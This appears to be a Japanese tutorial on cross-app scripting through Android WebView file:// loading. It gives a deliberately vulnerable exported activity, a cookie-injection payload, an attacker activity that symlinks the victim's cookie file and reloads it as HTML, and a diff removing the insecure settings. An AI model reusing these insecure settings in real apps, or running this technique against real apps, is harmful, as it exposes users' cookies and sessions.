(Android）WebViewのfile:// スキーム読み込みを使用したクロスアプリスクリプティング脆弱性を理解する

        <activity android:exported="true" android:name=".WebShowActivity">
            <intent-filter>
                <action android:name="android.intent.action.VIEW" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

package com.inspection.fileurlcookievulnerabilityinspection;

import android.os.Build;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.webkit.CookieManager;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;

import androidx.appcompat.app.AppCompatActivity;

public class WebShowActivity extends AppCompatActivity {

    String TAG = "WebShowActivity";
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        String targetUrl = "";
        targetUrl = getIntent().getStringExtra("targetUrl");
        if(targetUrl == null || targetUrl.isEmpty()) {
            targetUrl = "file:///android_asset/www/index.html";
        }
        show(targetUrl);
    }

    public void show(String url) {
        WebView webView = new WebView(this);
        WebSettings settings = webView.getSettings();
        settings.setJavaScriptEnabled(true);
        settings.setJavaScriptCanOpenWindowsAutomatically(true);
        settings.setDomStorageEnabled(true);

        webView.setWebViewClient(new WebViewClient());
        webView.setWebChromeClient(new WebChromeClient());

        settings.setAllowFileAccess(true);
        settings.setAllowUniversalAccessFromFileURLs(true);

        CookieManager cookieManager = CookieManager.getInstance();

        cookieManager.setAcceptFileSchemeCookies(true);
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
            cookieManager.setAcceptThirdPartyCookies(webView, true);
        }

        Log.d(TAG, "url:" + url + " will be loaded");
        setContentView(webView);
        webView.loadUrl(url);
    }
}

document.cookie = "x = '<script>/** 任意のjavascript **/ window.alert('cross app scripting atack'); </script>'";

public class VulnerableCrossAppScriptActivity extends AppCompatActivity {
    private static String TAG = "VulnerableCrossAppScriptActivity";
    private static final String TARGET_APP = "com.inspection.fileurlcookievulnerabilityinspection";

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        launch("https://用意した任意のホスト/danger.html");
        new Handler().postDelayed(() -> launch("file://" + symlink()), 45000);
    }

    private void launch(String url) {
        Intent intent = new Intent(this, WebShowActivity.class);
        intent.putExtra("targetUrl", url);
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);

        startActivity(intent);
    }

    private String symlink() {
        try {
            String root = getApplicationInfo().dataDir;
            String symlink = root + "/symlink.html";

            Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor();
            Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();

            return symlink;
        }
        catch (Throwable th) {
            throw new RuntimeException(th);
        }
    }
}

    public void show(String url) {
        WebView webView = new WebView(this);
        WebSettings settings = webView.getSettings();
        settings.setJavaScriptEnabled(true);
        settings.setJavaScriptCanOpenWindowsAutomatically(true);
        settings.setDomStorageEnabled(true);

        webView.setWebViewClient(new WebViewClient());
        webView.setWebChromeClient(new WebChromeClient());

-        settings.setAllowFileAccess(true);
-        settings.setAllowUniversalAccessFromFileURLs(true);